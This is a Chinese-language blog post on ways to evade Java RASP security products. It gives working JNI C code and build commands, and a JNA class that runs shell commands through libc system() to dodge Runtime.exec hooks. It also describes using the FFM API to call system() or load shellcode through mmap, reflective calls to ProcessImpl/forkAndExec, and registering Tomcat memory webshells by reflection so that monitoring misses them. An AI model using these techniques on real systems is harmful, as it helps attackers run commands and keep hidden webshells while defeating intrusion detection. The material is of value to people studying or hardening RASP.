古早的 RASP 主要是通过两种思路绕过

一种是根据 Runtime.exec() 方法,底层是 ProcessBuilder 再底层 ProcessImpl 更底层的 forkandexec 方法在早两年前是很有效的绕过思路,当时的 RASP 产品并没有 hook native 方法,现在一些高级的 RASP 已经可以 hook native 方法了,JNI 绕过和 forkandexec** **方法绕过就都不太行了

另一种则是开启一个线程来执行命令,让 RASP 失去上下文堆栈的分析数据,使得算法失效, JRASP 提供了解决思路,通过 java.lang.InheritableThreadLocal类在父线程创建子线程时,向子线程传递变量

简单来说就是两种思路:

  • 绕过黑名单
  • 利用更底层的技术进行绕过

按照这两种思路,我们可以延申出许多绕过 RASP 的方法

JNI/JNA

RASP 工作在 JVM 字节码层面,他能 hook 的也只有 java 相关的方法,那如果我们跳出 JVM,RASP 也会失效

JNI

利用思路很简单就是利用 c 语言生成 dll 文件,然后利用 System.loadLibrar 来加载执行就行了

写一个命令执行的 java 类:

1
2
3
4
5
package org.example;  

public class Command {
public native String exec(String cmd);
}

然后利用 javac 生成 .h 文件

1
javac -cp . .\Command.java -h org.example.Command

然后编写对应 c 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "org_example_Command.h"  
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char* cmd, char* result)
{
char buffer[1024 * 12]; //定义缓冲区
FILE* pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_example_Command_exec(JNIEnv* env, jobject class_object, jstring jstr)
{

const char* cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}

char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();

return cmdresult;
}

执行下面命令将其编写成 dll 文件

1
gcc -I "D:\environment\java\jdk-11\include" -I "D:\environment\java\jdk-11\include\win32" -shared -o cmd.dll .\Command.c

最后编写一个 java 类加载 dll 文件进行命令执行

这样执行命令的时候就不是执行 Runtime 等方法了,绕过了 RASP

JNA

JNA 则更加简单易用

首先,需要目标应用环境中存在 jna.jar 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jna.Library;
import com.sun.jna.Native;

public class JnaBypass {

// 1. 定义一个接口,映射到Linux的C标准库 (libc.so.6)
public interface CLibrary extends Library {
// 2. 加载库,并获取实例
CLibrary INSTANCE = (CLibrary) Native.load("c", CLibrary.class);

// 3. 声明要调用的C函数
int system(String command);
}

public static void main(String[] args) {
// 4. 直接调用C的system函数,完全绕过Java的Runtime.exec()
CLibrary.INSTANCE.system("touch /tmp/bypassed_by_jna");
}
}

FFM API

在 JDK21 引入了Foreign Function & Memory API(JEP 442,Third Preview),设计初衷是替代 JNI,为 Java 提供高性能本地互操作能力,这套 API 开辟了一条不经过传统 Java API 层的原生代码执行通道——通过 FFM API 直接调用 glibc 的 system() 函数,整个路径不经过 Runtime 或 ProcessBuilder

更进一步可以利用 mmap() 分配有执行权限的内存区域并加载 shellcode,可以在 JVM 进程空间直接执行机器码,不产生任何子进程

调用流程

FFM API 调用一个本地函数分四步

  1. 获取 Linker

Linker 是 java 与本地代码的桥梁,提供 downcall(Java→Native)和 upcall(Native→Java)能力

  1. 查找符号

SymbolLookup 在已加载的库中查找目标函数地址

  1. 创建 MethodHandle

downcallHandle(地址, FunctionDescriptor) 得到可调用句柄

  1. 分配参数并调用

Arena 分配堆外内存存放 C 字符串等参数,invoke() 执行

FFM API 的本质是在 JVM 进程内部,通过 MethodHandle 机制直接发起 Native 函数调用。调用路径为 downcallHandle → JVM adapter stub → libffi → 目标 C 函数,完全绕过 java.lang.Runtime 和 java.lang.ProcessBuilder 的代码路径

https://xz.aliyun.com/news/92140

UNIXProcess/ProcessImpl绕过

下面是一个在windows上调用Runtime.exec()的链图,可以发现Runtime.exec()是调用了一整个链子,直到ProcessImpl.create或者UNIXProcess.forkAndExec才脱离JVM的范畴执行native方法

而一些RASP过滤不严,只是单纯地过滤到了 ProcessImpl.start() 或者之前

那么可以直接反射调用 start() 后面的方法进行绕过

古早方法,现在连 forkAndExec 都能 hook 了,所以不多说了

寻找难以覆盖的 hook 点

Java 提供了多种输入输出流的类和接口,目的是为了适应不同的输入输出需求和数据类型场景,根据需求可以大致的分类出以下情况:

  • 数据类型差异:字节流(Byte Stream)和字符流(Character Stream)
  • 性能优化:缓冲输入输出流(如 BufferedInputStream 和 BufferedOutputStream)
  • 数据去向:文件、网络套接字、内存、管道
  • 标准化和扩展:Java 支持扩展性,允许开发人员创建自定义的输入输出流来满足特定需求

比如我们链子中用 InputStreamReader 读取文件,未经处理直接 hook 的话在应用运行时将产生大量的误报,这是在生产环境中不可接受的误拦截。比如 Tomcat 等中间件在创建页面时就用到的 InputStream 执行类似的读写操作

输入输出流的难处理,给了我们很大的操作空间,比如 CharArrayWriter 这个类,我们看到将文件路径 path 和内容 context 都通过 java.io.Writer 的实现类进行封装,然后对这两个流进行操作,这种情况下会发生多重引用的问题,如果没有特殊处理就会丢失文件内容。

构造上下文堆栈中难以处理的代码

以 Tomcat 环境下注入 Listener 内存马为例,大多数demo都直接用的 org.apache.catalina.core.StandardContext#addApplicationEventListener() 方法添加恶意对象,实际上可以通过反射获取 applicationEventListenersList 数组添加恶意对象。这时候我们调用的 List.add() 就是再正常不过的操作,并且集合操作广泛存在于应用中,通常不会作为 hook 点存在,因此规避算法

当然内存马不是一个单独存在的漏洞,需要配合反序列化、远程加载等漏洞,并且如果只是最基本的执行命令的内存马同样会被检测,可以用代理内存马,寻求内网突破或者配合第三点中介绍的的写入文件